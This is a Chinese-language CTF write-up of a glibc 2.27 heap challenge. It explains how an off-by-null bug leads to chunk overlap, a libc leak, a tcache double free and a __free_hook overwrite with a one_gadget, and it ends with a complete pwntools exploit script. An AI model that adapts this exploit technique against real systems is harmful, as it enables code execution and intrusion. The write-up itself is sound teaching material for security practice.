静态分析

先看保护

image-20241105163620624

很好,保护全开

image-20241105163659318

这里的部分函数我进行了重命名,方便阅读

image-20241105163802763

这里有个strcpy这个函数会在赋值后自动给字符串末尾加上\x00.这里存在一个off-by-null漏洞

同时这里free函数有个可恶的污染,会把你的free掉后的数据全部填充为\xda

image-20241105164013194

因此我们再后面的进行堆重叠是要先利用上面的off-by-null漏洞把prev_size位置清空出来

总结一下这个题目的思路,首先创造四个堆快 分别大 小 大 小

前三个用来进行堆重叠,在通过大堆快的unsortbin实现泄露libc后,通过free函数时伪造一个prev_size导致合并过度的堆块地址,导致有一个被回收的地址,但是函数逻辑中没有被回收,从而实现double free从而把改写free_hook为libc

动态分析

我们先创建4个chunk,并且按顺序free0 1

1
2
3
4
5
6
7
add(0x410,b'a')
add(0x68,b'b')
add(0x4f0,b'c')
add(0x30,b'd')

free(0)
free(1)

我们在这里看一下堆里面的情况

image-20241105210909303

细看一下我们申请的第二个堆快(也就是0x5578b988b670)

屏幕截图 2024-11-05 211008

重复利用off-by-null,填入假prev_size

1
2
3
4
for i in range(9):
add(0x68 - i,b's'*(0x68-i))
free(0)
add(0x68,b'a'*0x60+p64(0x490))

image-20241105211448850

可以看到已经实现

free第二个堆快,实现堆快之间的合并

1
2
3
free(2)

add(0x410,b'a'*1)

image-20241105211701578

可以看到这里已经实现

这时,我们注意申请堆快的返回地址处

image-20241105211853352

这里有三个返回地址,而我们只能看到两个返回地址了,这是因为我们在合并堆快的时候”吃”掉了一个堆,但是返回地址没有置零

并且因为堆快的合并,fd bk指针被移动到前面那个堆块处,而这个堆快我们刚好可以直接控制

打印我们布置好的堆快,获得libc,并计算一系列地址

1
2
3
4
5
6
7
8
9
show(0)

leak=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebca0

log.info("libc="+hex(leak))

shell=leak+0x4f322 #0x4f2be 0x4f2c5 0x4f322 0x10a38c
free_hook=leak+libc.sym["__free_hook"]

再次申请一个可以放入tcache的chunk,让存申请的堆快的返回地址处出现两个一样的地址

1
add(0x80,b'a')

image-20241105212810124

依次释放0 2,就可以进行对free函数的改写了,最后调用free获得布置好的one_gadget

1
2
3
4
5
6
7
free(2)
free(0)
add(0x80,p64(free_hook))
add(0x80,b'aaaa')
add(0x80,p64(shell))

free(0)

getshell!!!

image-20241105212954858

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context(log_level='debug')
p=process("./pwn")
#p=remote('node5.buuoj.cn',27626)
elf=ELF("./pwn")

libc=ELF('libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def add(size,data):
p.sendlineafter(b'Your choice: ',str(1))
p.sendlineafter(b'Size:',str(size))
p.sendlineafter(b'Data',data)
def show(idx):
p.sendlineafter(b'Your choice: ',b'2')
p.sendlineafter(b'Index:',str(idx))
def free(idx):
p.sendlineafter(b'Your choice: ',b'3')
p.sendlineafter(b'Index:',str(idx))

add(0x410,b'a')
add(0x68,b'b')
add(0x4f0,b'c')
add(0x30,b'd')

free(0)
free(1)

for i in range(9):
add(0x68 - i,b's'*(0x68-i))
free(0)



add(0x68,b'a'*0x60+p64(0x490))
free(2)

#debug()
add(0x410,b'a'*1)

#debug()
show(0)

leak=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebca0

log.info("libc="+hex(leak))
#debug()
shell=leak+0x4f322 #0x4f2be 0x4f2c5 0x4f322 0x10a38c
free_hook=leak+libc.sym["__free_hook"]

debug()
add(0x80,b'a')
#add(0x)

free(2)
free(0)
add(0x80,p64(free_hook))
add(0x80,b'aaaa')
add(0x80,p64(shell))

free(0)

p.interactive()